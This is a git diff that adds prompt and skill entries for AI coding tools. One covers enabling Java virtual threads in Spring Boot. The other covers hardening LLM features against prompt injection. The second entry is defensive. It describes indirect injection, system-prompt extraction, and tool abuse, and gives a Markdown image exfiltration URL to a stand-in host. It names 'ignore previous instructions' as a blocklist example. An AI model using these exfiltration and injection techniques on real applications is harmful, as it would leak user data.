diff --git a/promptbook/prompts.json b/promptbook/prompts.json index 57afd35..b92b9e4 100644 --- a/promptbook/prompts.json +++ b/promptbook/prompts.json @@ -719,6 +719,26 @@ ], "formatNotes": "All three. Point the tool at the build file, Dockerfile or base image (runtime JDK), `application.yml`/`application.properties` (`spring.threads.virtual.enabled`, `server.tomcat.threads.*`, `spring.datasource.hikari.*`, `spring.task.*`), every executor and async configuration class, and the HTTP client config. Copilot: java-virtual-threads path instructions plus those files in agent mode. Claude Code: the java-virtual-threads-spring-guardrails skill plus the config files. Codex: AGENTS.md concurrency section, then the diff.", "body": "Task: Decide whether the Spring Boot service I specify should run on Java virtual threads, and if so, enable them safely. Replace the old thread-pool ceiling with explicit limits on every finite resource, keep request context working across async hops, fix only the pinning that matters on our JDK, and finish with a minimal diff plus a load-test plan that compares off and on.\n\nContext placeholders (fill from the repo or ask only if missing):\n- Service root / module: {{APP_PATH}}\n- JDK version (build and runtime image): {{JDK_VERSION}} (21 | 24 | 25 | other)\n- Spring Boot version: {{BOOT_VERSION}} (e.g. 3.4, 3.5, 4.0, 4.1)\n- Web stack: {{STACK}} (Spring MVC servlet | WebFlux | both)\n- Finite resources: {{POOLS}} (e.g. Hikari 10, Apache HttpClient 20 per route, Redis Lettuce, Kafka producer)\n- Downstream limits: {{DOWNSTREAM_LIMITS}} (name → max concurrency or rate limit, or unknown)\n- Custom executors: {{EXECUTORS}} (bean names and purpose, or \"find them\")\n- Context that must propagate: {{CONTEXT}} (SecurityContext | MDC correlation ID | trace | tenant)\n- Current symptom: {{SYMPTOM}} (thread exhaustion | high latency under load | pool pending spikes after enabling | none, evaluating)\n- Load-test tool and target: {{LOAD_TEST}} (Gatling | k6 | JMeter | none yet; target RPS and p99)\n\nRequirements:\n\n1. Inventory\n - Read the build file, Dockerfile or base image (actual runtime JDK), and `application*.yml|properties` (`spring.threads.virtual.enabled`, `server.tomcat.threads.*`, `spring.datasource.hikari.*`, HTTP client pool settings, `spring.task.*`)\n - List every executor: auto-configured (`applicationTaskExecutor`, task scheduler, listener containers) and custom `TaskExecutor` / `ExecutorService` beans, with what runs on each and whether it is I/O or CPU bound\n - List every finite pool with size and acquire timeout, every `ThreadLocal` use, and every `synchronized` block or method that wraps blocking I/O\n - Note whether {{STACK}} is servlet or reactive and whether any reactive code blocks\n\n2. Decision\n - State whether the service is I/O bound and thread-limited, with evidence (thread dumps, Tomcat busy threads, latency vs load). If it is CPU bound or a non-blocking WebFlux app, recommend not enabling and stop after the findings\n - State the JDK verdict: 24+ (no `synchronized` pinning) or 21 to 23 (pinning audit required); recommend JDK 25 if the base image allows\n\n3. Findings (rank by risk: pools with no acquire timeout or sized below expected concurrency > unbounded fan-out or missing downstream limits > missing timeouts on blocking calls > pooled virtual threads or custom executors assumed to move > pinning on hot I/O paths (JDK 21 to 23 only) > ThreadLocal caches and lost context > CPU-bound work on request threads > observability gaps)\n\n4. Fix\n - Enable `spring.threads.virtual.enabled=true` per environment (profile or ConfigMap), keeping the rollback a single property\n - Size each pool in {{POOLS}} from the database or downstream capacity in {{DOWNSTREAM_LIMITS}}; set Hikari `connection-timeout` and HTTP pending-acquire timeouts so waits fail fast\n - Add a `Semaphore` or Resilience4j bulkhead per fragile downstream; no fixed pools of virtual threads\n - Move blocking custom executors to virtual-thread-per-task (`SimpleAsyncTaskExecutor` with virtual threads and an optional concurrency limit); keep CPU-bound executors on a bounded platform pool\n - Propagate {{CONTEXT}} with a `TaskDecorator` or Micrometer context propagation; replace `ThreadLocal` caches with shared immutable objects or explicit parameters\n - On JDK 21 to 23 only: change `synchronized` to `ReentrantLock` (with `unlock()` in `finally`) where the lock is held across blocking I/O on a hot path; on 24+ leave `synchronized` alone\n - Bound any per-request fan-out and pass the remaining deadline to each child; cancel children when the parent fails\n - Keep or add timeouts on every JDBC query, HTTP call, lock wait, and queue poll\n\n5. Tests\n - `@Async` and fan-out test proving SecurityContext, MDC correlation ID, and trace ID survive the hop\n - Concurrency test that fires more requests than the pool size and asserts acquire timeouts fail fast with a clear error instead of hanging\n - Bulkhead or semaphore test showing excess calls are rejected or queued as designed\n - A startup check or test that fails if the runtime JDK is below the stated floor\n\n6. Load-test plan and verification\n - Off-versus-on comparison with {{LOAD_TEST}} at the same pool sizes: throughput, p95, p99, error rate, `hikaricp.connections.pending` and acquire time, HTTP pool pending, heap and GC, and JFR `jdk.VirtualThreadPinned` events (threshold about 20 ms)\n - Resource table: resource | size | acquire timeout | downstream capacity | limiter in front\n - Executor table: executor | before | after | I/O or CPU | concurrency limit\n - Alerts to add: pool pending and acquire time, bulkhead rejections, heap pressure, p99 latency\n\nConstraints:\n- Minimal diff. Don't rewrite working concurrency code that isn't on a hot blocking path.\n- Don't invent pool sizes, downstream limits, or load numbers. Use placeholders and state assumptions.\n- Don't add a reactive stack or a new concurrency library to \"help\" virtual threads.\n- Optimize for GitHub Copilot, Claude Code, and Codex: give concrete diffs and a checklist.\n- Leave JDK base-image upgrades and alert rule changes as follow-up notes unless the repo already manages them.\n\nOutput format:\n1. Decision (enable or not, and why) and JDK verdict\n2. Findings table: severity | location | issue | fix\n3. Patch (properties + pool limits + limiters + executor changes + context propagation + pinning fixes)\n4. Tests added and their results\n5. Resource and executor tables, load-test plan, and follow-ups\n\nStart from {{APP_PATH}}. Bound the pools and downstreams before turning the property on.\n" + }, + { + "id": "harden-llm-app-against-prompt-injection", + "title": "Harden an LLM Feature Against Prompt Injection", + "whenToUse": "Harden a chat, RAG, or tool-calling LLM feature against direct and indirect prompt injection, excessive tool agency, and unsafe output handling: inventory and trust map, ranked findings, retrieval filtered by caller access, tools in the caller's identity with validated arguments, code-enforced approval, loop and budget caps, output encoding per sink, guards and redacted logging, plus a red-team eval set wired into CI with before/after attack success rates.", + "tools": [ + "copilot", + "claude-code", + "codex" + ], + "tags": [ + "llm", + "security", + "prompt-injection", + "rag", + "agents", + "owasp-llm" + ], + "formatNotes": "All three. Point the tool at the prompt templates, the classes that build chat requests (Spring AI `ChatClient` and advisors, LangChain4j AI services, or SDK calls), every tool or function definition, the retrieval and vector-store query code, the code that renders or stores model output, and any eval folder. Copilot: llm-app-security path instructions plus those files in agent mode. Claude Code: the llm-app-prompt-injection-guardrails skill plus the files. Codex: AGENTS.md LLM section, then the diff.", + "body": "Task: Harden the LLM feature I specify against prompt injection (direct and indirect), excessive tool agency, and unsafe output handling. Map what the model reads and what it can do, close the paths from untrusted content to tools and output sinks in code, and finish with a minimal diff plus a red-team eval set that runs in CI.\n\nContext placeholders (fill from the repo or ask only if missing):\n- Feature / module root: {{APP_PATH}}\n- Feature type: {{FEATURE}} (chat | RAG Q&A | summarizer | tool-calling agent | LLM gateway | other)\n- LLM stack: {{STACK}} (Spring AI | LangChain4j | Azure OpenAI / OpenAI SDK | OpenAI-compatible router | other)\n- Untrusted sources: {{SOURCES}} (e.g. uploaded files, wiki pages, support tickets, emails, web pages, tool results)\n- Tools exposed to the model: {{TOOLS}} (name → what it reads or writes, or \"find them\")\n- Tool identity today: {{TOOL_IDENTITY}} (end-user on-behalf-of token | service principal / managed identity | API key | mixed)\n- Output sinks: {{SINKS}} (web UI Markdown/HTML | DB write | email or chat message | another service | shell or SQL)\n- Tenancy and access model: {{TENANCY}} (single tenant | multi-tenant with tenant ID from token | document ACLs)\n- Guard services available: {{GUARDS}} (e.g. Azure AI Content Safety Prompt Shields, PII detector, none)\n- Eval runner: {{EVAL_RUNNER}} (JUnit tests | promptfoo | custom harness | none yet)\n\nRequirements:\n\n1. Inventory\n - List every LLM call site in {{APP_PATH}}: prompt template and version, model and provider, the messages it builds (system, user, tool) and what goes into each\n - List every tool or function with its schema, what it reads or writes, the identity it runs as, and whether it can send data outside the tenant\n - List where each model output goes and how it is rendered, parsed, or executed\n - Note what is logged per call (raw prompts, completions, tool arguments) and where\n\n2. Trust map\n - Mark every prompt input as trusted (code-built), user (signed-in caller), or untrusted (third-party content, tool output, other agents)\n - Draw each path from an untrusted source to a tool or an output sink; these paths are the attack surface\n\n3. Findings (rank by risk: untrusted content reaching a write or outbound tool without approval > tools running with an identity broader than the caller > retrieval not filtered by the caller's access > model output reaching HTML, SQL, shell, file path, or URL sinks unencoded > generic tools such as fetch-any-URL, raw SQL, or exec > secrets, internal endpoints, or authorization logic in the system prompt > unbounded agent loops or budgets > missing guards > raw prompts and customer data in logs > no red-team evals)\n\n4. Fix (code first, prompt wording last)\n - Move untrusted content out of the system message into its own delimited user or tool message, strip delimiter look-alikes from the content, and add one short rule that delimited content is data, not instructions\n - Remove secrets, internal URLs, and authorization logic from system prompts; enforce those rules in code\n - Filter retrieval by the caller's tenant and document ACLs before prompting\n - Switch tools to the caller's identity (on-behalf-of token or row-level filter); take tenant and user IDs from the authenticated principal, never from model arguments\n - Narrow tool schemas (enums, IDs, bounded strings), validate every argument server-side with authorization checks, host and path allow-lists, size limits, and idempotency keys for writes; replace generic fetch, SQL, or exec tools with specific ones\n - Add a code-enforced approval step (pending action plus explicit user confirmation showing exact arguments) for sends, deletes, bulk edits, permission changes, and payments\n - Cap tool rounds, total tokens or cost, and wall-clock time per request; abort on repeated identical tool calls\n - Encode output for each sink in {{SINKS}}: sanitized Markdown with raw HTML off, remote images disabled or proxied through an allow-list, strict CSP; use structured output with strict parsing where output drives code; never build SQL, shell commands, paths, or URLs from output by concatenation\n - Wire {{GUARDS}} on user input and retrieved documents, and PII or secret detection on output; log verdicts\n - Replace raw prompt logging with request ID, user, tenant, template version, document IDs, redacted tool arguments, guard verdicts, and token counts\n\n5. Red-team evals\n - Direct injection in user input (override instructions, role-play, encoding tricks)\n - Indirect injection planted in a retrieved document and in a tool result, asking the model to call a tool or leak data\n - System-prompt extraction attempts\n - Cross-tenant or other-user data requests\n - Tool abuse: out-of-scope arguments, other tenant IDs, disallowed hosts, oversized inputs, repeated calls\n - Output-sink payloads: script tags, Markdown image exfiltration URLs, SQL and shell metacharacters\n - Each case asserts behaviour (no tool call, tool call rejected, output encoded, refusal, no foreign data), not exact wording; wire them into {{EVAL_RUNNER}} so CI fails on any new successful attack\n\n6. Verification\n - Run the eval set before and after and report attack success rate per category\n - Run the normal-task eval or test suite to confirm answer quality and latency didn't regress\n - Tool table: tool | reads or writes | identity before | identity after | validation added | approval needed\n - Sink table: sink | before | encoding or parsing after\n\nConstraints:\n- Minimal diff. Don't rewrite prompts or features that aren't on an untrusted-to-tool or untrusted-to-sink path.\n- Don't treat a keyword blocklist or a stronger system prompt as the fix for any finding.\n- Don't invent guard services, tenant models, or eval scores. Use placeholders and state assumptions.\n- Don't log real prompts, completions, or customer data in tests or examples.\n- Optimize for GitHub Copilot, Claude Code, and Codex: give concrete diffs and a checklist.\n- Leave model or provider changes and new guard service rollouts as follow-up notes unless the repo already uses them.\n\nOutput format:\n1. Trust map (sources → prompt messages → tools and sinks) with the attack-surface paths\n2. Findings table: severity | location | issue | fix\n3. Patch (message separation + retrieval filtering + tool identity and validation + approval step + loop limits + output encoding + guards + logging)\n4. Red-team eval cases added and before/after attack success rate per category\n5. Tool and sink tables, plus follow-ups\n\nStart from {{APP_PATH}}. Close the paths from untrusted content to tools and sinks before touching prompt wording.\n" } ] } diff --git a/skillbook/skills.json b/skillbook/skills.json index 5cd7b05..2c6ee87 100644 --- a/skillbook/skills.json +++ b/skillbook/skills.json @@ -717,6 +717,26 @@ ], "formatNotes": "All three. Copilot: path-scoped `.github/instructions/java-virtual-threads.instructions.md` with applyTo for `**/*Config*.java`, `**/*Executor*.java`, `**/*Async*.java`, and `**/application*.{yml,yaml,properties}`. Optional `.github/skills/java-virtual-threads-spring-guardrails/SKILL.md`. Claude Code: `.claude/skills/java-virtual-threads-spring-guardrails/SKILL.md` plus a CLAUDE.md fact that every pool and downstream has an explicit limit and timeout once virtual threads are on. Codex: a \"Concurrency and virtual threads\" section in root `AGENTS.md`. Pair with spring-boot-http-client-guardrails for HTTP pool and timeout settings, spring-boot-resilience4j for bulkheads, spring-data-jpa-query-guardrails for query timeouts, and spring-boot-micrometer-prometheus-guardrails for pool-wait metrics. This skill owns the decision to enable, executor choice, concurrency limits, pinning, and context propagation.", "body": "# Skill: Java Virtual Threads in Spring Boot Guardrails\n\n## Goal\nTurn on virtual threads in a Spring Boot service only when it pays off, and without moving the bottleneck somewhere harder to see. Blocking request handling, `@Async`, scheduled work, and listeners get cheap threads, while every finite resource behind them (JDBC pools, HTTP pools, downstream rate limits, memory) keeps an explicit limit. The JDK level is chosen on purpose, pinning is measured instead of guessed, `ThreadLocal` and MDC usage still works, and a load test proves the switch helped before it reaches production.\n\n## When to apply\n- Deciding whether to set `spring.threads.virtual.enabled=true` on a servlet (Spring MVC) service, or reviewing a PR that does\n- A service that mostly waits on I/O (JDBC, HTTP, Kafka, Redis, Azure SDK calls) and runs out of Tomcat or executor threads under load\n- Latency got worse, or Hikari or HTTP pool \"pending\" metrics spiked, right after enabling virtual threads\n- Upgrading from JDK 21 to 25, or from Spring Boot 3.x to 4.x, on a service that already uses virtual threads\n- Replacing hand-sized `ThreadPoolTaskExecutor` pools used for blocking fan-out calls\n\n## Baseline rules\n1. **Pick the JDK first.** Virtual threads need JDK 21 or later, and Spring Boot's switch has existed since 3.2. On JDK 21 to 23, a virtual thread that blocks inside `synchronized` (or `Object.wait()`) stays pinned to its carrier thread. JDK 24 (JEP 491) removed that, and JDK 25 is the LTS that carries it. Prefer JDK 25 for anything that enables virtual threads; if you must stay on 21, treat rule 6 as mandatory.\n2. **Know what the switch changes.** With `spring.threads.virtual.enabled=true`, Boot runs embedded Tomcat or Jetty request handling, the auto-configured `applicationTaskExecutor` (`@Async`, MVC async), the task scheduler, and supported listener containers (Kafka, RabbitMQ, JMS) on virtual threads. Any executor you define yourself is untouched. List both sets before and after, so nobody assumes a custom pool moved.\n3. **Servlet stacks benefit; reactive stacks don't need it.** Virtual threads help blocking, thread-per-request code. A WebFlux or Reactor app that never blocks gains little. Don't mix the two to \"speed up\" a reactive service; fix the blocking call or isolate it on `boundedElastic` instead.\n4. **The thread limit was your concurrency limit. Replace it.** Tomcat's 200 platform threads used to cap in-flight work. With virtual threads, thousands of requests can pile onto a 10-connection Hikari pool or a 20-connection HTTP pool. Put a deliberate limit in front of every scarce resource: a `Semaphore` or Resilience4j bulkhead around fragile downstreams, a bounded `connection-timeout` on Hikari, and a pending-acquire timeout on HTTP pools. Size pools from what the database or downstream can handle, not from request rate.\n5. **Never pool virtual threads.** Create one per task (`Executors.newVirtualThreadPerTaskExecutor()` or Spring's `SimpleAsyncTaskExecutor` with virtual threads and an optional `concurrencyLimit`). A fixed pool of virtual threads brings back the queueing and sizing problems you were trying to remove.\n6. **Measure pinning instead of rewriting locks.** Record the JFR event `jdk.VirtualThreadPinned` (threshold around 20 ms) during a load test. On JDK 21 to 23, `-Djdk.tracePinnedThreads=short` also helps; it no longer exists on 24+. Only replace `synchronized` with `ReentrantLock` where a lock is held across blocking I/O on a hot path, on a JDK that still pins. On 24+ leave working `synchronized` code alone. Native calls and some class-initialization paths can still pin on every JDK, so watch the JFR event either way.\n7. **Treat `ThreadLocal` as per task, not per worker.** Every virtual thread is new, so caches stored in `ThreadLocal` (formatters, buffers, per-thread connections) are rebuilt on every request and can multiply memory. Make such objects immutable and shared, or pass them explicitly. Keep request context (security context, MDC, trace) flowing through Spring's `TaskDecorator`, Micrometer context propagation, or `ScopedValue` where the JDK and libraries support it, and test that it survives `@Async` hops.\n8. **Keep timeouts, they matter more now.** A blocked virtual thread is cheap, so a missing timeout no longer shows up as thread exhaustion; it shows up as unbounded memory and connection use. Every JDBC query, HTTP call, lock wait, and queue poll still needs a timeout that fits the caller's budget.\n9. **Check the libraries on the hot path.** JDBC drivers, HTTP clients, and SDKs that block inside `synchronized` or native code can pin or serialize under load on older JDKs. Upgrade drivers to versions that document virtual-thread support, and confirm with the JFR pinning event rather than release notes alone.\n10. **CPU-bound work stays on platform threads.** Virtual threads don't add CPU. Keep heavy computation (crypto, compression, large JSON or report generation) on a bounded platform `ThreadPoolTaskExecutor` sized near the core count, and keep it off the request threads.\n11. **Structured fan-out, bounded.** For parallel calls from one request, use a virtual-thread-per-task executor inside try-with-resources (or `StructuredTaskScope` where it's final in your JDK) so children are cancelled with the parent. Cap the fan-out and give every child the remaining deadline, not a fresh one.\n12. **Observe the new bottlenecks.** Alert on `hikaricp.connections.pending` and acquire time, HTTP client pool pending, bulkhead rejections, heap and GC pressure, and request latency percentiles. Thread-count graphs stop being useful; pool wait time is the signal that replaces them.\n13. **Prove it with a load test before production.** Compare the same build with the property off and on, at the same pool sizes: throughput, p95 and p99 latency, error rate, pool wait, heap, and the pinning events. Ship only if the numbers improve or stay level with less tuning, and keep a one-line rollback (the property set to `false`).\n\n## Workflow\n1. **Inventory.** Record JDK version, Boot version, servlet or reactive stack, every executor (auto-configured and custom), every finite pool (Hikari, HTTP clients, Redis, Kafka producer), current Tomcat `threads.max`, and every `ThreadLocal` or MDC use.\n2. **Decide.** Confirm the service is I/O bound and currently thread-limited. If it is CPU bound or already reactive and non-blocking, stop and say so.\n3. **Bound the resources.** Add or check pool sizes, acquire timeouts, and a semaphore or bulkhead per fragile downstream before flipping the switch.\n4. **Enable.** Set `spring.threads.virtual.enabled=true` per environment, move blocking custom executors to virtual threads, keep CPU-bound executors on platform threads.\n5. **Fix context and pinning.** Add context propagation for `@Async` and fan-out; run JFR under load and fix only the pinning sites that matter on your JDK.\n6. **Load test and observe.** Run the off-versus-on comparison, wire the pool-wait alerts, and document the rollback.\n\n## Tool-specific notes\n- **GitHub Copilot:** path-scoped `.github/instructions/java-virtual-threads.instructions.md` with `applyTo` for `**/*Config*.java`, `**/*Executor*.java`, `**/*Async*.java`, and `**/application*.{yml,yaml,properties}`. Ask agent mode for the inventory and decision first, then the diff.\n- **Claude Code:** `.claude/skills/java-virtual-threads-spring-guardrails/SKILL.md`, plus a short `CLAUDE.md` fact: \"Virtual threads are on; every pool and downstream has an explicit limit and timeout, and CPU-bound work uses a bounded platform executor.\"\n- **Codex:** a \"Concurrency and virtual threads\" section in root `AGENTS.md` with the JDK floor, the resource-limit table format, and the load-test comparison it must report.\n\n## Anti-patterns\n- Flipping `spring.threads.virtual.enabled=true` in production without a load test or a rollback plan\n- Leaving Hikari at its default 10 connections with no acquire-time alert after removing the 200-thread cap\n- A `newFixedThreadPool` of virtual threads, or a custom \"virtual thread pool\" class\n- Mass-replacing every `synchronized` with `ReentrantLock` on JDK 24+, or forgetting `unlock()` in `finally` when you do\n- Expensive objects cached in `ThreadLocal`, recreated on every request\n- CPU-heavy work running on virtual request threads\n- Unbounded fan-out (one virtual thread per item in a 50,000-row list) against a downstream with a rate limit\n- Dropping timeouts because \"threads are cheap now\"\n- Assuming a custom `TaskExecutor` bean moved to virtual threads when the property only changes auto-configured ones\n- Adding virtual threads to a WebFlux app instead of fixing the blocking call\n\n## Done when\n- [ ] JDK version is stated, and is 24+ (ideally 25) or the pinning audit is done for 21 to 23\n- [ ] The service is shown to be I/O bound and thread-limited before the switch\n- [ ] Every finite pool has a size from downstream capacity and an acquire timeout; fragile downstreams have a semaphore or bulkhead\n- [ ] Auto-configured and custom executors are listed, with blocking ones on virtual threads and CPU-bound ones on bounded platform threads\n- [ ] No pooled virtual threads; fan-out is bounded and deadline-aware\n- [ ] Security context, MDC, and trace IDs survive `@Async` and fan-out, with a test\n- [ ] JFR `jdk.VirtualThreadPinned` checked under load, and only material pinning sites changed\n- [ ] Off-versus-on load test results recorded; pool-wait, heap, and latency alerts exist; rollback is one property\n\n## Copy-ready SKILL.md stub\n```markdown\n---\nname: java-virtual-threads-spring-guardrails\ndescription: Use when enabling or reviewing Java virtual threads in Spring Boot (spring.threads.virtual.enabled) — JDK choice and pinning (JEP 491), replacing the thread cap with explicit pool and downstream limits, no pooled virtual threads, ThreadLocal and context propagation, CPU-bound work, bounded fan-out, and an off-versus-on load test.\n---\n\nFollow Java Virtual Threads in Spring Boot Guardrails: enable virtual threads only for I/O-bound servlet services, prefer JDK 25 (audit synchronized-around-I/O pinning on 21 to 23 with JFR jdk.VirtualThreadPinned), list which executors the property moves and which custom ones it doesn't, replace the old thread cap with explicit pool sizes, acquire timeouts, and semaphores or bulkheads per fragile downstream, never pool virtual threads, keep every timeout, keep ThreadLocal caches out and propagate security, MDC, and trace context across async hops, run CPU-bound work on a bounded platform executor, bound fan-out with the parent's deadline, alert on pool wait instead of thread counts, and prove the change with an off-versus-on load test and a one-property rollback.\n```\n" + }, + { + "id": "llm-app-prompt-injection-guardrails", + "title": "LLM App Prompt Injection & Output Handling Guardrails", + "whenToUse": "Building or reviewing an LLM feature (chat, RAG, summarizer, tool-calling agent, LLM gateway) in a Spring Boot or Java service that reads user input, retrieved documents, or tool output — mapping trusted versus untrusted prompt inputs, keeping untrusted content in delimited messages, keeping secrets and authorization out of system prompts, filtering retrieval by the caller's access, running tools in the caller's identity with narrow validated schemas, code-enforced approval for high-impact actions, bounded agent loops, encoding output for each sink, blocking Markdown image exfiltration, input and output guards, safe logging, and a red-team eval set in CI.", + "tools": [ + "copilot", + "claude-code", + "codex" + ], + "tags": [ + "llm", + "security", + "prompt-injection", + "rag", + "agents", + "owasp-llm" + ], + "formatNotes": "All three. Copilot: path-scoped `.github/instructions/llm-app-security.instructions.md` with applyTo for `**/*Prompt*.java`, `**/*Tool*.java`, `**/*Advisor*.java`, `**/*Rag*.java`, `**/prompts/**`, and `**/evals/**`. Optional `.github/skills/llm-app-prompt-injection-guardrails/SKILL.md`. Claude Code: `.claude/skills/llm-app-prompt-injection-guardrails/SKILL.md` plus a CLAUDE.md fact that retrieved content and tool output are untrusted data, tools run as the end user, and writes need code-enforced approval. Codex: an \"LLM features and prompt injection\" section in root `AGENTS.md`. Pair with llm-eval-ci-regression-gate for the CI gate mechanics, entra-id-spring-service-auth-guardrails for on-behalf-of tool identity, spring-boot-structured-logging-guardrails for redacted logging, and secure-pr-review-guardrails for general code review. This skill owns the trust map, tool agency limits, output handling, and the red-team eval cases.", + "body": "# Skill: LLM App Prompt Injection and Output Handling Guardrails\n\n## Goal\nShip an LLM feature (chat, RAG, summarizer, tool-calling agent, LLM gateway) on the assumption that the model **will** be talked into misbehaving at some point, and make sure that when it is, nothing bad happens. Untrusted text stays marked as data, the model only holds the permissions of the user it is acting for, every tool call and every piece of model output is validated by ordinary code before it touches anything, and a red-team eval set proves this on every change. Prompt wording is a speed bump, not a control; the controls live in code, identity, and the eval gate.\n\n## When to apply\n- Building or reviewing a Spring Boot (Spring AI, LangChain4j, or plain SDK) service that sends user input, documents, emails, tickets, web pages, or tool results to an LLM\n- Adding RAG over content that people outside the team can write to (wikis, uploaded files, support tickets, crawled pages, repos)\n- Giving a model tools or function calling that read data, call APIs, send messages, write records, or run code\n- Rendering model output as HTML or Markdown, or feeding it into SQL, shell, file paths, URLs, templates, or another service\n- Routing traffic for several teams through a shared LLM gateway or proxy\n- After a red-team finding, a leaked system prompt, or a model upgrade that changed refusal behaviour\n\n## Baseline rules\n1. **Draw the trust map first.** For every input to the prompt, label it: trusted (your system prompt and code-built context), user (the signed-in caller), or untrusted third-party (retrieved chunks, file contents, web pages, emails, tool output, other agents). Indirect prompt injection comes through the third column. If nobody can say which column a string is in, assume untrusted.\n2. **The system prompt is not a secret and not a security boundary.** Assume it will be extracted. Keep credentials, connection strings, internal URLs, other tenants' data, and authorization logic out of it. Rules like \"never reveal X\" are fine as hygiene, but X must also be unreachable by code.\n3. **Keep roles and data apart.** Put untrusted content in its own user-role or tool-role message, never concatenated into the system message. Wrap it in clear delimiters (for example `…`), strip or neutralize those delimiters inside the content, and tell the model that text inside them is data to analyse, not instructions to follow. This lowers the hit rate; it does not make injection impossible, so the rules below still apply.\n4. **Least privilege per call, in the caller's identity.** The model gets only the tools this use case needs, and each tool runs with the end user's permissions (on-behalf-of token, row-level filter, tenant ID from the authenticated principal), never a broad service identity. Retrieval filters by the caller's access *before* chunks reach the prompt. A model can't leak a document it was never given.\n5. **Tools are an API, so validate them like one.** Each tool has a narrow, typed schema (enums, IDs, bounded strings, no free-form \"query\" or \"command\" fields when you can avoid them). Validate arguments server-side as if they came from an anonymous internet client: authorization check, allow-listed hosts or paths, size limits, and idempotency keys for writes. No generic `http_get(url)`, `run_sql(text)`, or `exec(cmd)` tools.\n6. **Human approval for high-impact actions.** Anything that sends data outside the tenant, moves money, deletes or bulk-edits records, changes permissions, or emails or posts on someone's behalf needs an explicit confirmation step that shows the exact action and its arguments. The confirmation is enforced in code (a pending-action record plus a user click), not by asking the model to \"check with the user first\".\n7. **Bound the agent loop.** Set a maximum number of tool rounds, a total token and cost budget, and a wall-clock deadline per request; stop with a clear error when any is hit. Repeated identical tool calls and tool calls after a refusal are signals to abort, not to retry.\n8. **Treat model output as untrusted input to the next system.** Encode it for the place it goes: HTML-escape or render Markdown through a sanitizer with raw HTML off and a strict CSP; never `eval`, shell out, or build SQL, file paths, or URLs by string concatenation from it. When output drives code, require structured output (JSON schema or typed record), parse it strictly, and reject unknown fields and out-of-range values.\n9. **Block the quiet exfiltration channels.** Rendered Markdown images and auto-fetched links can leak data through the URL (`![x](https://evil.example/?q=)`). Disable remote images in rendered output or proxy them through an allow-list, and don't let tools fetch arbitrary URLs that the model chooses.\n10. **Screen input and output, but don't rely on it.** Run a prompt-injection classifier or shield (for example Azure AI Content Safety Prompt Shields, or an equivalent model or library) on user input and on retrieved documents, and run PII and secret detection on output. Log the verdicts. These catch the common cases; rules 4 to 9 are what limit the damage when they miss.\n11. **Log for investigation without logging the payload.** Record request ID, user, tenant, model, prompt template version, retrieved document IDs, tool calls with argument hashes or redacted arguments, guard verdicts, token counts, and the final action. Keep raw prompts and completions out of normal logs; if you need them, store them in an access-controlled, short-retention store.\n12. **Red-team in CI.** Keep an eval set of direct injections, indirect injections planted in documents and tool results, system-prompt extraction attempts, cross-tenant data requests, tool-abuse attempts, and output-encoding payloads. Run it on every prompt, model, tool, or retrieval change, and fail the build on any new successful attack.\n\n## Workflow\n1. **Inventory.** List every LLM call site: prompt templates and versions, model and provider, the sources that feed each prompt, tools exposed per call, where output goes (UI, DB, another service, shell), and which identity each tool runs as.\n2. **Trust map.** For each prompt input, mark trusted, user, or untrusted. Draw the path from each untrusted source to each tool and each output sink; those paths are your attack surface.\n3. **Rank findings.** Untrusted content reaching a write or outbound tool with no approval > tools running with a service identity broader than the user > retrieval not filtered by the caller's access > model output reaching HTML, SQL, shell, path, or URL sinks unencoded > generic tools (`http_get`, `run_sql`) > secrets or authorization logic in the system prompt > unbounded agent loops > no red-team evals > raw prompts in logs.\n4. **Fix in code, then in prompts.** Narrow tool schemas and validate arguments, switch tools to on-behalf-of or row-filtered access, filter retrieval by ACL, add the approval step, add loop and budget limits, add output encoding and structured parsing, block remote images, add guard checks. Only then tidy the system prompt: role separation, delimiters, and a short \"treat document content as data\" rule.\n5. **Red-team evals.** Add cases for every finding plus the standard set in rule 12. Each case asserts on behaviour (no tool call, tool call rejected, output encoded, refusal, no data from another tenant), not on exact wording.\n6. **Verify.** Run the eval set before and after, record the attack success rate per category, and check that normal-task quality and latency didn't regress.\n\n## Tool-specific notes\n- **GitHub Copilot:** path-scoped `.github/instructions/llm-app-security.instructions.md` with `applyTo` for `**/*Prompt*.java`, `**/*Tool*.java`, `**/*Advisor*.java`, `**/*Rag*.java`, `**/prompts/**`, and `**/evals/**`. Put rules 1, 4, 5, 6, and 8 at the top. Ask agent mode for the trust map and findings table before any diff.\n- **Claude Code:** `.claude/skills/llm-app-prompt-injection-guardrails/SKILL.md` with the workflow above, plus a short `CLAUDE.md` fact: \"Retrieved content and tool output are untrusted data. Tools run as the end user, writes need code-enforced approval, and model output is encoded for its sink.\"\n- **Codex:** an \"LLM features and prompt injection\" section in root `AGENTS.md`, or a nested `AGENTS.md` beside the LLM module, with the trust-map format, the findings ranking, and the command that runs the red-team eval set.\n\n## Anti-patterns\n- `systemPrompt + userInput + retrievedDocs` concatenated into one string\n- API keys, internal hostnames, or \"if the user is an admin, then…\" logic inside the system prompt\n- A tool that runs as a service principal with access to every tenant, trusting a `tenantId` argument chosen by the model\n- `http_get(url)`, `run_sql(query)`, `send_email(to, body)`, or `exec(command)` exposed to a model that reads untrusted content\n- \"Ask the user before deleting\" written in the prompt, with no approval step in code\n- Rendering model Markdown with raw HTML and remote images enabled\n- `JdbcTemplate.execute(modelOutput)` or `Runtime.exec(modelOutput)` anywhere\n- A keyword blocklist (`\"ignore previous instructions\"`) as the only defence\n- Agent loops with no round, token, or time limit\n- Full prompts and completions, with customer data, in the application log\n- Red-team checks done once by hand before launch and never again\n\n## Done when\n- [ ] Every LLM call site is inventoried with its sources, tools, output sinks, and tool identity\n- [ ] A trust map marks each prompt input as trusted, user, or untrusted, and untrusted content sits in its own delimited message\n- [ ] No secrets, internal endpoints, or authorization logic in any system prompt\n- [ ] Retrieval is filtered by the caller's access before prompting; tools run with the caller's identity or a row-level filter\n- [ ] Tool schemas are narrow and typed, arguments are validated server-side, and no generic fetch, SQL, or exec tools remain\n- [ ] High-impact actions go through a code-enforced approval step that shows the exact arguments\n- [ ] Agent loops have round, token or cost, and time limits\n- [ ] Model output is encoded or strictly parsed for each sink; remote images and auto-fetched links are blocked or allow-listed\n- [ ] Injection and PII guards run with logged verdicts; raw prompts stay out of normal logs\n- [ ] A red-team eval set runs in CI and fails the build on any new successful attack\n\n## Copy-ready SKILL.md stub\n```markdown\n---\nname: llm-app-prompt-injection-guardrails\ndescription: Use when building or reviewing an LLM feature (chat, RAG, tool-calling agent, LLM gateway) that handles user input, retrieved documents, or tool output — trust map of prompt inputs, role and delimiter separation, least-privilege tools in the caller's identity, server-side tool argument validation, code-enforced approval for high-impact actions, bounded agent loops, output encoding for each sink, exfiltration blocking, input and output 